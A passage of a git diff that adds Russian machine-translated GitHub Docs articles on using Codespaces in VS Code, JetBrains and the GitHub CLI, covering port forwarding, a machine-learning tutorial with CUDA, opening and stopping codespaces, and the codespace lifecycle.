variables.product.prodname_vscode_shortname %} + +{% data variables.product.prodname_github_codespaces %} обеспечивает полную разработку {% data variables.product.prodname_vscode %}. {% data reusables.codespaces.use-visual-studio-features %} + +![Снимок экрана с заметками: пространство кода в VS Code](/assets/images/help/codespaces/codespace-annotated-vscode.png) + +{% data reusables.codespaces.vscode-interface-annotation %} + +Дополнительные сведения об использовании {% data variables.product.prodname_vscode_shortname %} см. в [руководстве по пользовательскому интерфейсу](https://code.visualstudio.com/docs/getstarted/userinterface) в документации по {% data variables.product.prodname_vscode_shortname %}. + +{% data reusables.codespaces.connect-to-codespace-from-vscode %} + +Сведения об устранении неполадок см. в разделе [Устранение неполадок клиентов Codespaces](/codespaces/troubleshooting/troubleshooting-github-codespaces-clients). +{% data reusables.codespaces.developing-in-vscode %} {% data reusables.codespaces.navigating-to-a-codespace %} + +{% endvscode %} + +{% jetbrains %} + +Вкладки в этой статье позволяют переключаться между сведениями для каждого из этих способов работы. В настоящее время вы находитесь на вкладке для ИНДЕ JetBrains. + +## Работа в codespace в интегрированной среде разработки JetBrains + +Чтобы использовать {% data variables.product.prodname_github_codespaces %} с интегрированной среды разработки JetBrains, необходимо уже установить шлюз JetBrains. Сведения об установке шлюза JetBrains см. [на веб-сайте JetBrains](https://www.jetbrains.com/remote-development/gateway/). + +Вы можете работать в codespace, используя интегрированную среду разработки JetBrains. После создания codespace можно использовать приложение шлюза JetBrains, чтобы открыть codespace в предпочтительной интегрированной среде разработки. + +Вы можете изменять код, отлаживать и использовать команды Git при разработке в codespace с помощью интегрированной среды разработки JetBrains. Дополнительные сведения о различных ИНДЕ JetBrains см. в [документации по JetBrains](https://www.jetbrains.com/help/). + +### Пользовательский интерфейс IntelliJ IDEA + +В документации по {% data variables.product.prodname_github_codespaces %} мы используем IntelliJ IDEA в качестве репрезентативной интегрированной среды разработки JetBrains. Разные среды ИНДЕ JetBrains могут иметь разные макеты. + +![Снимок экрана с заметками: codespace в JetBrains IntelliJ IDEA](/assets/images/help/codespaces/jetbrains-gui-with-callouts.png) + +1. **Панель навигации** — отображает путь к выбранному в данный момент файлу или каталогу. Используйте кнопки справа от панели навигации для выполнения различных действий, включая сборку, запуск или отладку проекта, а также выполнение команд Git для фиксации и отправки изменений. +2. **Окно инструментов "Проект** " — отображает структуру проекта и позволяет открывать файлы в редакторе. +3. **Окно инструментов {% data variables.product.prodname_github_codespaces %}** отображается при щелчке подключаемого модуля {% data variables.product.prodname_github_codespaces %} на панели слева от окна инструментов. В нем отображаются сведения о пространстве кода, включая отображаемое имя и тип компьютера. Кнопки в верхней части этого окна инструментов позволяют: + * Остановка codespace и отключение + * Отображение веб-страницы "Ваши codespaces" + * Просмотр журналов создания codespace + * Перестроение контейнера разработки +4. **Редактор** — здесь можно редактировать файлы. Вы можете щелкнуть правой кнопкой мыши вкладку файла, чтобы получить доступ к таким параметрам, как перемещение вкладки в новое окно. +5. **Терминал** . Для этого щелкните **Терминал** на панели окна инструментов в нижней части главного окна (непосредственно над строкой состояния). Встроенный терминал позволяет выполнять задачи командной строки без необходимости переключения на выделенное приложение терминала. +6. **Строка состояния** — наведите указатель мыши на значок в левой части строки состояния, чтобы просмотреть список инструментов. Щелкните значок, чтобы скрыть или отобразить панели окна инструментов. В правой части строки состояния отображаются сведения о проекте, включая текущую ветвь Git. + +Дополнительные сведения о пользовательском интерфейсе IntelliJ IDEA см. в [документации по JetBrains для IntelliJ IDEA](https://www.jetbrains.com/help/idea/guided-tour-around-the-user-interface.html). + +### Настройка codespace для репозитория + +Вы можете настроить codespace, созданные для репозитория, создав или обновив конфигурацию контейнера разработки для репозитория. Это можно сделать из codespace. После изменения конфигурации контейнера разработки можно применить изменения к текущему пространству кода, перестроив контейнер Docker для codespace. Дополнительные сведения см. в статье [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers). + +### Персонализация codespace + +Репозиторий [файлов точек](https://dotfiles.github.io/tutorials/) можно использовать для персонализации аспектов среды codespace для любого создаваемого codespace. Дополнительные сведения см. в разделе [Персонализация {% data variables.product.prodname_github_codespaces %} для вашей учетной записи](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account#dotfiles). + +### Фиксация изменений + +После внесения изменений в codespace( новый код или изменения конфигурации) вы захотите зафиксировать и отправить изменения. Отправка изменений в репозиторий гарантирует, что любой другой пользователь, создающий codespace из этого репозитория, имеет такую же конфигурацию. Это также означает, что любая настройка, которую вы делаете, чтобы изменить конфигурацию codespace, созданных для репозитория, будет доступна всем, кто использует репозиторий. + +Дополнительные сведения см. в статье [Использование системы управления версиями в кодовом пространстве](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace#committing-your-changes). + +## Дополнительные материалы + +* [Использование {% data variables.product.prodname_github_codespaces %} в интегрированной среде разработки JetBrains](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide) +* [Использование подключаемого модуля {% data variables.product.prodname_github_codespaces %} для JetBrains](/codespaces/codespaces-reference/using-the-github-codespaces-plugin-for-jetbrains) +* [Устранение неполадок клиентов {% data variables.product.prodname_github_codespaces %}](/codespaces/troubleshooting/troubleshooting-github-codespaces-clients) + +{% endjetbrains %} + +{% cli %} + +Вкладки в этой статье позволяют переключаться между сведениями для каждого из этих способов работы. В настоящее время вы находитесь на вкладке {% data variables.product.prodname_cli %}. + +## Работа в codespace в командной оболочке + +{% data reusables.cli.cli-learn-more %} + +Вы можете использовать {% data variables.product.prodname_cli %}, чтобы создать новое codespace или запустить существующее codespace, а затем выполнить подключение по протоколу SSH. После подключения можно работать с командной строкой с помощью предпочитаемых программ командной строки. + +После установки {% data variables.product.prodname_cli %} и проверки подлинности с помощью учетной записи {% data variables.product.prodname_dotcom %} можно использовать команду `gh codespace [...] --help` для просмотра справочных сведений. Кроме того, можно просмотреть те же справочные сведения по адресу [https://cli.github.com/manual/gh_codespace](https://cli.github.com/manual/gh_codespace). + +Дополнительные сведения см. в разделе [Использование {% data variables.product.prodname_github_codespaces %} с GitHub CLI](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli). + +{% endcli %} diff --git a/translations/ru-RU/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md b/translations/ru-RU/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md new file mode 100644 index 000000000000..fb649ecd3f59 --- /dev/null +++ b/translations/ru-RU/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md @@ -0,0 +1,138 @@ +--- +title: Переадресация портов в кодовом пространстве +intro: '{% data reusables.codespaces.about-port-forwarding %}' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /github/developing-online-with-codespaces/forwarding-ports-in-your-codespace +type: how_to +topics: + - Codespaces + - Fundamentals + - Developer +shortTitle: Forward ports +ms.openlocfilehash: 320a2e42d647452056961d4f0f987c3c5db49476 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158912' +--- +{% jetbrains %} + +{% data reusables.codespaces.codespaces-jetbrains-beta-note %} + +{% endjetbrains %} + +## Сведения о переадресованных портах + +Переадресация портов обеспечивает доступ к TCP-портам, работающим в кодовом пространстве. Например, если веб-приложение выполняется через определенный порт в кодовом пространстве, можно настроить переадресацию этого порта. Это позволяет получать доступ к приложению из браузера на локальном компьютере для тестирования и отладки. + +{% webui %} + +{% data reusables.codespaces.port-forwarding-intro-non-jetbrains %} {% data reusables.codespaces.navigate-to-ports-tab %} +1. В списке портов нажмите кнопку **Добавить порт**. + + ![Кнопка "Добавить порт"](/assets/images/help/codespaces/add-port-button.png) + +1. Введите номер или адрес порта, а затем нажмите клавишу ВВОД. + + ![Кнопка с текстовым полем для указания порта](/assets/images/help/codespaces/port-number-text-box.png) + +## Использование переадресации HTTPS + +По умолчанию {% data variables.product.prodname_github_codespaces %} пересылает порты по протоколу HTTP, но при необходимости вы можете обновить любой порт для использования ПРОТОКОЛА HTTPS. При обновлении порта с общедоступной видимостью для использования ПРОТОКОЛА HTTPS видимость порта автоматически изменится на частный. + +{% data reusables.codespaces.navigate-to-ports-tab %} +1. Щелкните правой кнопкой мыши порт, который требуется обновить, а затем наведите указатель мыши на пункт **Изменить протокол порта**. + ![Параметр для изменения протокола порта](/assets/images/help/codespaces/update-port-protocol.png) +1. Выберите протокол, необходимый для этого порта. Выбранный протокол будет запоминаться для этого порта на время существования кодового пространства. + +{% data reusables.codespaces.port-forwarding-sharing-non-jetbrains %} + +{% data reusables.codespaces.navigate-to-ports-tab %} +1. Щелкните правой кнопкой мыши порт, к которому требуется предоставить доступ, выберите меню "Видимость порта", а затем щелкните **Частный для организации** или **Общедоступный**. + ![Параметр выбора видимости порта в контекстном меню](/assets/images/help/codespaces/make-public-option.png) +1. Справа от локального адреса порта щелкните значок копирования. + ![Значок копирования для URL-адреса порта](/assets/images/help/codespaces/copy-icon-port-url.png) +1. Отправьте скопированный URL-адрес пользователю, которому требуется предоставить доступ к порту. + +{% data reusables.codespaces.port-forwarding-labeling-non-jetbrains %} {% data reusables.codespaces.port-forwarding-adding-non-jetbrains %} + +{% endwebui %} + +{% vscode %} + +{% data reusables.codespaces.port-forwarding-intro-non-jetbrains %} {% data reusables.codespaces.navigate-to-ports-tab %} +1. В списке портов нажмите кнопку **Добавить порт**. + + ![Кнопка "Добавить порт"](/assets/images/help/codespaces/add-port-button.png) + +1. Введите номер или адрес порта, а затем нажмите клавишу ВВОД. + + ![Кнопка с текстовым полем для указания порта](/assets/images/help/codespaces/port-number-text-box.png) + +{% data reusables.codespaces.port-forwarding-sharing-non-jetbrains %} + +{% data reusables.codespaces.navigate-to-ports-tab %} +1. Щелкните правой кнопкой мыши порт, к которому требуется предоставить доступ, выберите меню "Видимость порта", а затем щелкните **Частный для организации** или **Общедоступный**. + ![Параметр, позволяющий сделать порт общедоступным, в контекстном меню](/assets/images/help/codespaces/make-public-option.png) +1. Справа от локального адреса порта щелкните значок копирования. + ![Значок копирования для URL-адреса порта](/assets/images/help/codespaces/copy-icon-port-url.png) +1. Отправьте скопированный URL-адрес пользователю, которому требуется предоставить доступ к порту. + +{% data reusables.codespaces.port-forwarding-labeling-non-jetbrains %} {% data reusables.codespaces.port-forwarding-adding-non-jetbrains %} + +{% endvscode %} + + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +Для переадресации порта используйте подкоманду `gh codespace ports forward`. Замените `codespace-port:local-port` удаленными и локальными портами, которые требуется подключить. Выполнив команду, выберите требуемый вариант из представленного списка кодовых пространств. + +```shell +gh codespace ports forward CODESPACE-PORT:LOCAL-PORT +``` + +Дополнительные сведения об этой команде см. в [ руководстве по {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_codespace_ports_forward). + +Чтобы просмотреть сведения о переадресованных портах, введите `gh codespace ports` и выберите кодовое пространство. + +{% data reusables.codespaces.port-forwarding-sharing-non-jetbrains %} + +Для изменения видимости переадресованного порта используйте подкоманду `gh codespace ports visibility`. {% data reusables.codespaces.port-visibility-settings %} + +Замените `codespace-port` номером переадресованного порта. Замените `setting` на `private`, `org` или `public`. Выполнив команду, выберите требуемый вариант из представленного списка кодовых пространств. + +```shell +gh codespace ports visibility CODESPACE-PORT:SETTINGS +``` + +Задать видимость для нескольких портов можно с помощью одной команды. Пример: + +```shell +gh codespace ports visibility 80:private 3000:public 3306:org +``` + +Дополнительные сведения об этой команде см. в [ руководстве по {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_codespace_ports_visibility). + +{% data reusables.codespaces.port-forwarding-labeling-non-jetbrains %} + +Метки портов отображаются при перечислении перенаправленных портов для codespace. Для этого используйте `gh codespace ports` команду , а затем выберите codespace. + +{% data reusables.codespaces.port-forwarding-adding-non-jetbrains %} + +{% endcli %} + +{% jetbrains %} + +## Переадресация порта + +Сведения о том, как перенаправить порт в codespace на порт на локальном компьютере, см. в разделе "Перенаправление портов" статьи "[Модель безопасности](https://www.jetbrains.com/help/idea/security-model.html#port_forwarding)" документации JetBrains. + +Кроме того, для пересылки порта можно использовать {% data variables.product.prodname_cli %}. Для получения дополнительных сведений перейдите на вкладку "{% data variables.product.prodname_cli %}" в верхней части этой страницы. + +{% endjetbrains %} diff --git a/translations/ru-RU/content/codespaces/developing-in-codespaces/getting-started-with-github-codespaces-for-machine-learning.md b/translations/ru-RU/content/codespaces/developing-in-codespaces/getting-started-with-github-codespaces-for-machine-learning.md new file mode 100644 index 000000000000..941e3acdf5e5 --- /dev/null +++ b/translations/ru-RU/content/codespaces/developing-in-codespaces/getting-started-with-github-codespaces-for-machine-learning.md @@ -0,0 +1,108 @@ +--- +title: Начало работы с GitHub Codespaces для машинного обучения +shortTitle: Machine learning +intro: 'Узнайте о работе над проектами машинного обучения с {% data variables.product.prodname_github_codespaces %} и встроенными инструментами.' +versions: + fpt: '*' + ghec: '*' +type: tutorial +topics: + - Codespaces + - Developer +ms.openlocfilehash: 905d5b14bfba5e47d1fdfdd7f0be75b16750652d +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158920' +--- +## Введение + +В этом руководстве описывается машинное обучение с {% data variables.product.prodname_github_codespaces %}. Вы создадите простой классификатор изображений, узнаете о некоторых средствах, предустановленных в {% data variables.product.prodname_github_codespaces %}, настроите среду разработки для NVIDIA CUDA и откроете пространство кода в JupyterLab. + +## Создание простого классификатора изображений + +Мы будем использовать записную книжку Jupyter для создания простого классификатора изображений. + +Записные книжки Jupyter — это наборы ячеек, которые можно выполнять друг за другом. Используемая записная книжка содержит ряд ячеек, создающих классификатор изображений с помощью [PyTorch](https://pytorch.org/). Каждая ячейка представляет собой разные этапы этого процесса: скачивание набора данных, настройка нейронной сети, обучение модели, а затем тестирование этой модели. + +Мы запустим все ячейки последовательно для выполнения всех этапов построения классификатора изображений. Когда мы это делаем, Jupyter сохраняет выходные данные обратно в записную книжку, чтобы можно было изучить результаты. + +### Создание codespace + +1. Перейдите в репозиторий [шаблонов github/codespaces-jupyter](https://github.com/github/codespaces-jupyter) . +{% data reusables.codespaces.open-template-in-codespace-step %} + +Пространство кода для этого шаблона откроется в веб-версии {% data variables.product.prodname_vscode %}. + +### Открытие записной книжки классификатора изображений + +Образ контейнера по умолчанию, используемый {% data variables.product.prodname_github_codespaces %}, включает набор библиотек машинного обучения, предварительно установленных в пространстве кода. Например, Numpy, pandas, SciPy, Matplotlib, seaborn, scikit-learn, Keras, PyTorch, Requests и Plotly. Дополнительные сведения об образе по умолчанию см. в разделе [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#using-the-default-dev-container-configuration)и [Репозиторий `devcontainers/images`](https://github.com/devcontainers/images/tree/main/src/universal). + +1. В редакторе {% data variables.product.prodname_vscode_shortname %} закройте все отображаемые вкладки "Начало работы". +1. Откройте файл записной книжки `notebooks/image-classifier.ipynb`. + +### Создание классификатора изображений + +Записная книжка классификатора изображений содержит весь код, необходимый для скачивания набора данных, обучения нейронной сети и оценки ее производительности. + +1. Нажмите кнопку **Выполнить все**, чтобы выполнить все ячейки записной книжки. + + ![Снимок экрана: кнопка "Выполнить все"](/assets/images/help/codespaces/jupyter-run-all.png) + +1. Прокрутите вниз, чтобы просмотреть выходные данные каждой ячейки. + + ![Снимок экрана: шаг 3 в редакторе](/assets/images/help/codespaces/jupyter-notebook-step3.png) + +## Настройка NVIDIA CUDA для codespace + +Для использования GPU codespace требуется установить NVIDIA CUDA. В этом случае можно создать собственную пользовательскую конфигурацию с помощью файла `devcontainer.json` и указать, что необходимо установить CUDA. Дополнительные сведения о пользовательских конфигурациях см. в разделе [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#creating-a-custom-dev-container-configuration). + +{% note %} + +**Примечание.** Полные сведения о скрипте, который выполняется при добавлении компонента `nvidia-cuda`, см. [в репозитории devcontainers/features](https://github.com/devcontainers/features/tree/main/src/nvidia-cuda). + +{% endnote %} + +1. В codespace откройте `.devcontainer/devcontainer.json` файл в редакторе. +1. Добавьте объект верхнего уровня `features` со следующим содержимым: + + ```json{:copy} + "features": { + "ghcr.io/devcontainers/features/nvidia-cuda:1": { + "installCudnn": true + } + } + ``` + + Дополнительные сведения об объекте `features` см. в [спецификации контейнеров разработки](https://containers.dev/implementors/features/#devcontainer-json-properties). + + Если вы используете файл `devcontainer.json` из репозитория классификаторов изображений, созданного для этого руководства, файл `devcontainer.json` будет выглядеть следующим образом: + + ```json + { + "customizations": { + "vscode": { + "extensions": [ + "ms-python.python", + "ms-toolsai.jupyter" + ] + } + }, + "features": { + "ghcr.io/devcontainers/features/nvidia-cuda:1": { + "installCudnn": true + } + } + } + ``` + +1. Сохраните изменения. +{% data reusables.codespaces.rebuild-command %} Контейнер codespace будет перестроен. Операция займет несколько минут. После перестройки codespace автоматически открывается повторно. +1. Опубликуйте изменения в репозитории, чтобы В будущем CUDA устанавливалось в любых новых пространствах кода, создаваемых из этого репозитория. Дополнительные сведения см. в разделе [Создание codespace на основе шаблона](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template#publishing-from-vs-code). + +## Открытие codespace в JupyterLab + +Вы можете открыть codespace в JupyterLab со страницы "Ваши codespaces" в [github.com/codespaces](https://github.com/codespaces) или с помощью {% data variables.product.prodname_cli %}. Дополнительные сведения см. в разделе [Открытие существующего пространства кода](/codespaces/developing-in-codespaces/opening-an-existing-codespace). + +{% data reusables.codespaces.jupyterlab-installed-in-codespace %} diff --git a/translations/ru-RU/content/codespaces/developing-in-codespaces/index.md b/translations/ru-RU/content/codespaces/developing-in-codespaces/index.md new file mode 100644 index 000000000000..4169a74cc860 --- /dev/null +++ b/translations/ru-RU/content/codespaces/developing-in-codespaces/index.md @@ -0,0 +1,33 @@ +--- +title: Разработка в codespace +intro: 'Создайте codespace для начала разработки проекта в выделенной облачной среде. Перенаправленные порты можно использовать для запуска приложения и даже использования codespace внутри {% data variables.product.prodname_vscode %}' +versions: + fpt: '*' + ghec: '*' +topics: + - Codespaces +children: + - /the-codespace-lifecycle + - /developing-in-a-codespace + - /creating-a-codespace-for-a-repository + - /creating-a-codespace-from-a-template + - /deleting-a-codespace + - /opening-an-existing-codespace + - /using-source-control-in-your-codespace + - /using-github-codespaces-for-pull-requests + - /stopping-and-starting-a-codespace + - /forwarding-ports-in-your-codespace + - /default-environment-variables-for-your-codespace + - /connecting-to-a-private-network + - /getting-started-with-github-codespaces-for-machine-learning + - /using-github-codespaces-in-visual-studio-code + - /using-github-codespaces-in-your-jetbrains-ide + - /using-github-codespaces-with-github-cli +ms.openlocfilehash: 166283bd0fbc71b8acc180b20ef597dbc0a50781 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159016' +--- + diff --git a/translations/ru-RU/content/codespaces/developing-in-codespaces/opening-an-existing-codespace.md b/translations/ru-RU/content/codespaces/developing-in-codespaces/opening-an-existing-codespace.md new file mode 100644 index 000000000000..9e2a5e12b12f --- /dev/null +++ b/translations/ru-RU/content/codespaces/developing-in-codespaces/opening-an-existing-codespace.md @@ -0,0 +1,127 @@ +--- +title: Открытие существующего codespace +intro: Вы можете повторно открыть закрытое или остановленное пространство кода и вернуться к работе. +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Fundamentals + - Developer +shortTitle: Open an existing codespace +ms.openlocfilehash: e7a35c1a7b3a251094bf69fcd401291b69d03eae +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159008' +--- +{% jetbrains %} + +{% data reusables.codespaces.codespaces-jetbrains-beta-note %} + +{% endjetbrains %} + +Вы можете повторно открыть любое активное или остановленное codespace в {% data variables.product.prodname_dotcom_the_website %}, в интегрированной среде разработки JetBrains, в {% data variables.product.prodname_vscode %} или с помощью {% data variables.product.prodname_cli %}. Вы не можете повторно открыть пространство codespace, которое было удалено. Дополнительные сведения см. в разделе [Жизненный цикл codespace](/codespaces/developing-in-codespaces/the-codespace-lifecycle). + +Вы можете просмотреть все свои codespace на странице "Ваши codespaces" в [github.com/codespaces](https://github.com/codespaces). На этой странице можно выполнить следующие действия: + +- Откройте, остановите или удалите codespace. +- Узнайте, кто владеет (и может оплачиваться) вашими codespace: ваша личная учетная запись или организации, к которым вы принадлежите. Дополнительные сведения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). +- Создайте новое пространство кода, выбрав один из шаблонов {% data variables.product.company_short %}, или щелкнув **Создать codespace**. Дополнительные сведения см. в разделах [Создание codespace на основе шаблона](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template) и [Создание пространства кода для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository). + +## Открытие существующего codespace + +{% webui %} + +{% data reusables.codespaces.your-codespaces-procedure-step %} +1. Чтобы открыть codespace в редакторе по умолчанию, щелкните имя codespace. {% data reusables.codespaces.about-changing-default-editor %} Дополнительные сведения см. в разделе [Настройка редактора по умолчанию для {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces). + + Чтобы открыть codespace в редакторе, отличном от используемого по умолчанию, выполните следующие действия. + + 1. Щелкните многоточие (**...**) справа от пространства кода, которое нужно открыть. + 1. Нажмите кнопку **Открыть в**. + 1. Нажмите кнопку **Открыть в приложении**. + + ![Снимок экрана: диалоговое окно "Открыть в" с выделенным элементом "Открыть в Visual Studio Code"](/assets/images/help/codespaces/open-codespace-in-another-editor.png) + + Codespace можно открыть в: + * Ваш браузер + * {% data variables.product.prodname_vscode %} + * Шлюз JetBrains + * JupyterLab + + {% data reusables.codespaces.application-installed-locally %} + + Если вы выберете **JupyterLab**, приложение JupyterLab должно быть установлено в codespace. {% data reusables.codespaces.jupyterlab-in-default-image %} + +{% endwebui %} + +{% vscode %} + +{% note %} + +**Примечание.** {% data reusables.codespaces.using-codespaces-in-vscode %} Дополнительные сведения см. в разделе [Использование {% data variables.product.prodname_github_codespaces %} в {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code). + +{% endnote %} + +1. В классическом приложении {% data variables.product.prodname_vscode_shortname %} откройте палитру команд спомощью команды Shift++P (Mac) или CTRL+SHIFT+P (Windows/Linux). +1. Введите Codespaces и выберите одну из следующих команд. + - Чтобы открыть codespace в новом окне {% data variables.product.prodname_vscode_shortname %}, выберите **Codespaces: Открыть Codespace в новом окне**. + - Чтобы открыть codespace в веб-редакторе, выберите **Codespaces: Открыть в браузере**. +1. Щелкните пространство кода, которое нужно открыть. + + ![Снимок экрана: список codespace в Visual Studio Code](/assets/images/help/codespaces/open-codespace-from-vscode.png) + +Вы также можете получить доступ к приведенным выше командам, перейдя в представление удаленного обозревателя в {% data variables.product.prodname_vscode_shortname %} и щелкнув правой кнопкой мыши пространство кода, которое нужно открыть. + +![Снимок экрана: пространство кода, выбранное в удаленном проводнике, с выделенным элементом "Открыть в браузере"](/assets/images/help/codespaces/open-codespace-remote-explorer.png) + +{% data reusables.codespaces.remote-explorer %} {% endvscode %} + +{% cli %} + +1. В окне терминала введите одну из следующих команд {% data variables.product.prodname_cli %}. + - Чтобы открыть codespace в {% data variables.product.prodname_vscode_shortname %}, введите: + + ```shell{:copy} + gh codespace code + ``` + + {% note %} + + **Примечание**. На локальном компьютере должен быть установлен {% data variables.product.prodname_vscode_shortname %}. Дополнительные сведения см. в разделе [Настройка Visual Studio Code](https://code.visualstudio.com/docs/setup/setup-overview) документации по {% data variables.product.prodname_vscode_shortname %}. + + {% endnote %} + + - Чтобы открыть codespace в браузере, введите: + + ```shell{:copy} + gh codespace code --web + ``` + + - Чтобы открыть codespace в JupyterLab, введите: + + ```shell{:copy} + gh codespace code --jupyter + ``` + + {% note %} + + **Примечание**. {% data reusables.codespaces.jupyterlab-installed-in-codespace %} + + {% endnote %} + +1. С помощью клавиш со стрелками перейдите к пространству кода, которое нужно открыть. +1. Чтобы открыть codespace, нажмите клавишу ВВОД. + +Дополнительные сведения см [`gh codespace code`](https://cli.github.com/manual/gh_codespace_code) . в руководстве по {% data variables.product.prodname_cli %}. + +{% endcli %} + +{% jetbrains %} + +{% data reusables.codespaces.opening-codespace-in-jetbrains %} + +{% endjetbrains %} diff --git a/translations/ru-RU/content/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace.md b/translations/ru-RU/content/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace.md new file mode 100644 index 000000000000..2a7b8b4f5970 --- /dev/null +++ b/translations/ru-RU/content/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace.md @@ -0,0 +1,116 @@ +--- +title: Остановка и запуск codespace +intro: 'Вы можете остановить и запустить codespace, чтобы сохранить ресурсы и приостановить работу.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Fundamentals + - Developer +shortTitle: Stop a codespace +ms.openlocfilehash: 290a39d9d60420230bd9b11d5e2d10119ccc1c72 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158808' +--- +{% jetbrains %} + +{% data reusables.codespaces.codespaces-jetbrains-beta-note %} + +{% endjetbrains %} + +## Сведения об остановке и запуске codespace + +{% data reusables.codespaces.stopping-a-codespace %} + +Независимо от того, где вы создали codespace или где вы обращаетесь к ним, вы можете просматривать их и управлять ими в браузере по адресу https://github.com/codespaces. + +## Остановка пространства кода + +{% webui %} + +{% data reusables.codespaces.navigate-to-codespaces-page %} + 1. Справа от пространства codespace, которое нужно остановить, щелкните значок с многоточием (**...**). + 1. Щелкните **Остановить codespace**. + ![Снимок экрана: параметр остановки codespace](/assets/images/help/codespaces/stop-codespace-webui.png) + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + + Чтобы остановить codespace, `gh codespace stop` используйте подкоманду, а затем выберите пространство кода, которое нужно остановить, из отображаемого списка. + + ```shell{:copy} + gh codespace stop + ``` + +{% endcli %} + +{% vscode %} + +{% data reusables.vs-code.open-command-palette %} +1. Введите `stop` и выберите **Codespaces: Остановить Codespace** в списке параметров. +1. В списке codespaces выберите пространство кода, которое нужно остановить. + +{% endvscode %} + +{% jetbrains %} + +{% data reusables.codespaces.jetbrains-open-codespace-plugin %} +1. В окне инструментов {% data variables.product.prodname_github_codespaces %} щелкните значок остановки. + + ![Снимок экрана: кнопка "Журнал"](/assets/images/help/codespaces/jetbrains-plugin-icon-stop.png) + +{% endjetbrains %} + +## Перезапуск codespace + +{% webui %} + +{% data reusables.codespaces.navigate-to-codespaces-page %} +1. Щелкните имя codespace, которое требуется перезапустить. +![Снимок экрана остановленных codespaces](/assets/images/help/codespaces/restart-codespace-webui.png) + +{% endwebui %} + +{% cli %} + +При перезапуске codespace его можно открыть в {% data variables.product.prodname_vscode %} или в браузере. + + - Чтобы перезапустить codespace и открыть его в {% data variables.product.prodname_vscode %}, используйте `gh codespace code` подкоманду, а затем выберите пространство кода, которое требуется перезапустить, из отображаемого списка. + + ```shell{:copy} + gh codespace code + ``` + + - Чтобы перезапустить codespace и открыть его в браузере, используйте `gh codespace open --web` подкоманд и выберите нужное пространство кода из отображаемого списка. + + ```shell{:copy} + gh codespace open --web + ``` + +{% endcli %} + +{% vscode %} + +{% data reusables.vs-code.open-command-palette %} +1. Введите `connect` и выберите **Codespaces: Подключиться к Codespace** в списке параметров. +1. В списке codespace выберите пространство кода, которое требуется перезапустить. + +{% endvscode %} + +{% jetbrains %} + +{% data reusables.codespaces.opening-codespace-in-jetbrains %} + +{% endjetbrains %} + +## Дополнительные материалы + +- [Жизненный цикл codespace](/codespaces/developing-in-codespaces/the-codespace-lifecycle) diff --git a/translations/ru-RU/content/codespaces/developing-in-codespaces/the-codespace-lifecycle.md b/translations/ru-RU/content/codespaces/developing-in-codespaces/the-codespace-lifecycle.md new file mode 100644 index 000000000000..b59855f335b1 --- /dev/null +++ b/translations/ru-RU/content/codespaces/developing-in-codespaces/the-codespace-lifecycle.md @@ -0,0 +1,88 @@ +--- +title: Жизненный цикл codespace +intro: 'Вы можете разрабатывать в среде {% data variables.product.prodname_github_codespaces %} и поддерживать данные на протяжении всего жизненного цикла codespace.' +versions: + fpt: '*' + ghec: '*' +type: overview +topics: + - Codespaces + - Developer +redirect_from: + - /codespaces/developing-in-codespaces/codespaces-lifecycle +ms.openlocfilehash: bf3174d3a2a91db5a817d2d7298e3ffae229e9bb +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160263' +--- +## Сведения о жизненном цикле пространства кода + +Жизненный цикл пространства кода начинается при его создании и заканчивается при его удалении. Вы можете отключиться и переподключиться к активному пространству кода, не затрагивая выполняемые процессы. Вы можете остановить и перезапустить пространство кода без потери изменений, внесенных в проект. + +## Создание codespace + +Когда вы собираетесь работать над проектом, вы можете создать новое пространство кода или открыть существующее. Вам может потребоваться создать новое пространство кода из ветви репозитория при каждой разработке в {% data variables.product.prodname_github_codespaces %} или сохранить длительное пространство кода для функции. {% data reusables.codespaces.starting-new-project-template %} Дополнительные сведения см. в [разделах Создание codespace для 